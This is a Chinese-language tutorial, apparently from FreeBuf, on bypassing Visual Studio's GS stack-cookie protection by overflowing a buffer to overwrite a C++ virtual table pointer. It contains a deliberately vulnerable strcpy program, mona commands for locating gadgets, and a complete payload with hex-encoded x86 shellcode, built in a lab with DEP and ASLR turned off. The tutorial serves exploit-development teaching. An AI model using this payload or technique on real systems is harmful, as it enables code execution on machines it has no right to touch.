图解利用虚函数过GS保护

个人感觉利用虚函数过GS保护过程稍微会复杂些，因为涉及到多次跳转。为了写清楚利用虚函数过GS，本文从payload构造切入，着重描写payload构建过程，从而让读者明白利用虚函数过GS的细节；并且在payload构建过程，对跳转细节采用图解方式，让读者跳出代码，先理清楚整个逻辑关系，然后再载入payload，讲解整个payload运行过程。（需要说明的是文中的寻址图，仅仅为了更清楚的描述跳转过程，不完全代码在内存中的存储顺序）。balabala~~新手上路，请多多关爱，如有写的不好的地方，请轻喷，感谢！╮(╯▽╰)╭

一、GS保护

我们知道普通的栈溢出漏洞是通过覆盖返回地址，针对这一漏洞，微软在编译时使用了一个安全编译选项GS，Visual Studio默认启用了这个编译选项，如下图所示。

开启GS保护后，在所有函数调用前，会先向栈内压入一个随机数，这个随机数被称作canary或者为security cookie，这个随机数是位于EBP之前，并且系统还会在.data内存区域存放一个security cookie的副本；在函数返回前，系统会执行安全验证操作，即call __security_check_cookie，去比较原先存放在栈中的canary和.data中副本的值，如果两者不一致，说明栈中发生了溢出，因此之前通过覆盖返回值来实现栈溢出是不可行的。因此开启了过GS保护的研究热潮，包括利用攻击异常过GS、利用虚函数过GS等。

突破思路：如果我们可以在程序检查security cookie之前劫持程序流程的话，就可以实现对程序的溢出了。

二、虚函数

在C++中，当成员函数被关键词virtual修饰时，我们将其称之为虚函数。首先我们需要知道虚函数入口地址被统一保存在虚表中。当对象在使用虚函数时，先通过虚表指针找到虚表，然后从虚表中取出最终的函数入口地址进行函数调用。

可以看到虚表指针地址和局部变量在内存空间中是紧接着的。因此猜想如果成员变量发生了溢出，是否可以覆盖 虚表指针 ， 将虚表指针指向payload ，通过精心构造payload能否成功执行shellcode？

三、利用虚函数过GS实例

3.1 实验环境

编译选项具体如下：

1）修改代码基址，如修改为0×41400000，避免代码中的strcpy存在00截断。

2）需要 打开GS ：项目属性–>C/C++–>代码生成->安全检查->启用安全检查(GS)

3）关闭DEP，关闭ALSR，关闭safeseh，在项目->属性->链接器中依次修改。

3.2代码分析

我们先给出利用虚函数过GS的完整代码，包括传入的payload，payload的构成后面会解释。

#include "stdafx.h"
#include <windows.h>
#pragma warning(disable:4996)//该行用来屏蔽strcpy的警告
class Vir {
public:
    void test(char* str)
    {
        char buf[0x100];//局部变量buf
        strcpy(buf, str);
        printf("buf:%d\n%s\n", strlen(buf), buf);
        this->virfun();//调用虚函数
    }
    virtual void virfun()
    {
        printf("I am virtual function\n");
    }
};
int main()
{
    Vir v;
    v.test("\x53\x13\x40\x41"//ppt指令序列地址   
        "\x90\x90\x90\x90\x90\x90\x90\x90\xaf\x10\x40\x41"//jmpesp地址  
        "\x90\x90\x90\x90\x90\x90\x90\x90"//滑轨    
        "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"//shellcode
        "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
        "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
        "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
        "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
        "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
        "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
        "\x49\x0b\x31\xc0\x51\x50\xff\xd7" 
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//  
        "\x24\xfe\x18\x00");//原始参数地址
    getchar();
    if (1<0)
        _asm//防止内存中没有jmp esp指令
    {
        jmp esp
    }
    return 0;
}

代码分析：

1）类Vir中有个虚函数virfun()和成员函数test()。在成员函数test中，将传入的数据payload作为参数，并将其赋值到成员变量buf中，这里存在典型的溢出漏洞。
2）在函数test中也调用了虚函数virfun()，因此buf变量发生溢出有可能会影响到虚函数指针。
3）系统调用虚函数是在检查security cookie之前，因此可以在调用虚函数时，拿到程序控制，将其指向自己的payload。

各函数变量地址：为了更好的理解后面的payload构造，我们先给出代码中关键变量和虚函数相关地址。其中虚表指针地址为0x0018ff34，虚表地址为0×41402254，虚函数入口地址为0×41401070，调用虚函数virfun()即call 0×41401070。原始参数str首地址为0×41402138，局部变量buf地址为0x0018fe24。

通过虚函数过GS保护利用思路：主要是通过局部变量溢出，覆盖虚表指针值，将虚表指针指向我们精心构造的payload，下面我们就详细说明payload的构造过程。

3.3 payload构造

为了精准覆盖虚表指针，我们首先需要计算偏移量，即虚表指针地址与局部变量buf的距离，然后将虚表指针指向的虚表地址0×41402254覆盖成原始参数str的首地址0×41402138，即让虚表指针指向原始参数。

计算偏移量有很多种方法，可以直接手算虚表指针地址与局部变量buf的距离为0x0018ff34-0x0018fe24=0×00000110=272字节。如果遇到难算的可以利用Immunity Debugger工具生成字符串，然后计算偏移量。这里还是演示下做法。

(1)利用Immunity Debugger工具生成300字节的字符串

！mona pc 300  

(2)打开Immunity Debugger工具所在目录的pattern.txt文件，得到300长度字符串：

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

(3)传入300字符串，调试运行，报错，复制报错地址0x316A4130

(4)计算偏移量，得到偏移量为272

!mona po 0x316A4130   或者!mona po 0Aj1 

这时候的payload构成初步如下：

虚函数寻址变成了下图所示。

图中完成了将虚表指针指向原始参数str(0×41402138)，实现了虚表指针跳到了原始参数上（原先的虚表），但是我们知道虚表指针跳到虚表，然后继续跳转到虚函数地址处，执行虚函数地址处的代码。因此下一步我们需要考虑虚函数地址填什么（图中问号？？？处）？即原始参数str(payload)前四个字节的值。这里我们需要考虑两个问题：

1) 图中问号处的内容必须是地址（可跳转），而不是数据

2) 面临着一个call操作，即call 虚函数地址，因此我们要考虑怎么能执行完call后，还可以回到shellcode内存空间继续执行呢？这里我们知道存储shellcode内存空间有两块，一个是原始参数str处(0×41402138)，第二个是通过strcpy函数赋值成功的局部变量buf(0x0018fe24)，这个时候我们需要观察栈和寄存器的状态，如下图所示。

首先我们发现原始参数(0×41402138)不在栈中，因此无法跳回原始参数的内存空间继续执行，但是惊喜的发现buf首地址0x18FE24=ESP+4，又想到跳转后紧接着执行的是call操作，于是我们只需要执行“pop pop ret”指令序列（后面简称ppt）后就可以转到buf首地址0x0018FE24执行，因为call操作会将返回地址入栈，即esp为0x0018FE1C，然后pop pop ,在ret时，栈顶为0x0018FE24，就可以转到0x0018FE24处执行了。因此这时候，我们只需要找到ppt指令序列地址，可以利用Immunity Debugger工具找，加载当前exe，使用!mona seh 指令搜索ppt指令地址，如下图。我们搜到7个ppt指令序列地址，这里选择的要求为ppt指令序列操作不影响当前程序流程，因此选择不带ebp esp这种指令就可。这里我们选择的ppt指令序列地址为0×41401353。

这时候的payload结构为：

写到这里，可能会想到ppt地址后，直接+shellcode+填充+原始参数地址，即可构成最后的payload，但是事实却没有这么简单，我看了很多网上的教程，大部分人都只写到了这里，便可以成功执行shellcode，但是我仔细调试了代码，发现是存在问题的。因为跳到buf内存后，0x0018FE24处是个ppt指令序列地址0×41401353，就会再一次执行ppt指令序列，因此又如何重新返回当前shellcode内存空间呢？这里我们先理下整体思路，如下图所示。

我们需要知道局部变量buf和原始参数的值都为payload数据。然后结合上图对跳转进行如下分析：

1跳：利用局部变量buf溢出，将虚表指针精准覆盖为原始参数地址0×41402138，因此通过虚表指针跳到原始参数地址处。

2跳：和经过分析栈状态，发现不可能跳回原始参数内存区域，但发现局部变量buf地址=当前esp+4，并且知道将执行call指令，结合 上述两点，只需要将虚函数地址填为ppt指令序列地址，即可完成跳到shellcode内存区域，即局部变量buf地址处。这里2跳是指将虚函数地址填充为ppt指令序列地址，然后执行虚函数，即call 0×41401353(ppt指令序列地址)，将返回地址入栈。

3跳：跳转到ppt指令序列地址，执行pop ecx; pop ecx;后，栈顶为0x0018fe24，然后ret，跳到局部变量buf首地址处。

4跳：这个时候，跳到局部变量buf首地址处，发现，当前地址0x0018fe24内容为ppt指令序列地址0×41401353，因此会再一次pop两次出0x0018fe28和0x0018fe2C的值，然后执行ret指令，挑转到0x18ffe30处，EIP=???（图中），跳到???处。这个的???必须是地址，并且能够再次跳回shellcode栈空间执行，这时候观察堆栈状态，发现esp=0x0018fe34，因此很容易想到0x0018fe30处填的是jmp esp地址。

5跳：jmp esp，跳到0x0018FE34，执行shellcode。

jmpesp地址可以利用Immunity Debugger工具搜索：得到jmpesp地址为0x414010af

指令：

!mona jmp -r esp

这里需要说明0x0018fe28和0x0018fe2C地址的值可以任意填充,不影响程序流程的指令即可，这里用“\x90”填充，因为他们只需要pop出去就可。

我习惯shellcode前加nop滑轨方便调试，因此综上分析，最终payload结构为：

"\x53\x13\x40\x41"   //ppt指令序列地址   
"\x90\x90\x90\x90\x90\x90\x90\x90\xaf\x10\x40\x41"//jmpesp地址*3  
"\x90\x90\x90\x90\x90\x90\x90\x90"   //nop滑轨    
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"//shellcode
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//滑轨  
"\x38\x21\x40\x41");//原始参数地址

3.4 代码跟踪

为了更好的理解利用虚函数过GS保护过程，最后我们利用构造好的payload，来跟踪下执行过程。这里只贴出关键点的图片。先看下各变量的地址。

下图可以看到虚表指针(0x0018FF34)已经指向原始参数(0×41402138)，原始参数也已经指向ppt指令序列地址(0×41401353)。

下图，执行虚函数call 0×41402138(原始参数地址)，并且可以看到当前esp+4=buf首地址(0x0018FF34)。

下图，执行call函数后，返回地址入栈，这时候可以看到当前esp为0x0018FE1C,然后继续执行ppt指令序列0×41401353，pop两次后，将栈顶esp0018FE24处的ppt序列指令0×41401353给EIP，再一次跳转到0×41401353地址。

下图，这时候看到当前esp为0x18FE28

下图，执行Pop pop指令，将2个”\x90x90x90x90″pop出，当前esp=0x0018FE30，然后ret，将跳转到0x0018FE30处的0x414010af处（jmpesp地址）

跳到jmpesp指令地址，然后执行指令 jmp esp

重新跳回shellcode内存区域，0x0018FE34处，开始执行nop滑轨，紧接着为shellcode，这样就成功执行了shellcode。

四、小结

思路：精准覆盖虚表指针为原始参数地址，然后利用PPT指令序列跳板，跳到局部变量内存区间，然后执行局部变量内存的PPT序列，再利用jmpesp跳板重新跳回局部变量内存空间，执行shellcode。这里需要说明的有两点：

1）我看到网上也有将虚表指针直接覆盖为局部变量地址，局部变量地址是0×00开头，虽然strcpy存在00截断，但是因为虚表指针放在payload最后面，即使最后个00字节截断，但是原有系统高位就是00，因此也可成功将虚表指针直接覆盖为局部变量地址。例如”\x24\xfe\x18\x00″。

2）无论是将虚表地址覆盖为原始参数地址还是局部变量地址，我跟踪的跳转流程和payload构造和本文写的差不多，但是我发现网上博客和书上都没有提到二次PPT，从而也没有用到jmpesp跳板，也成功执行了shellcode。这里我是保留疑问的，如果大家也有疑问可以互相交流。

REF

《0day安全：软件漏洞分析技术》

*本文作者：m01idu0du0，转载请注明来自FreeBuf.COM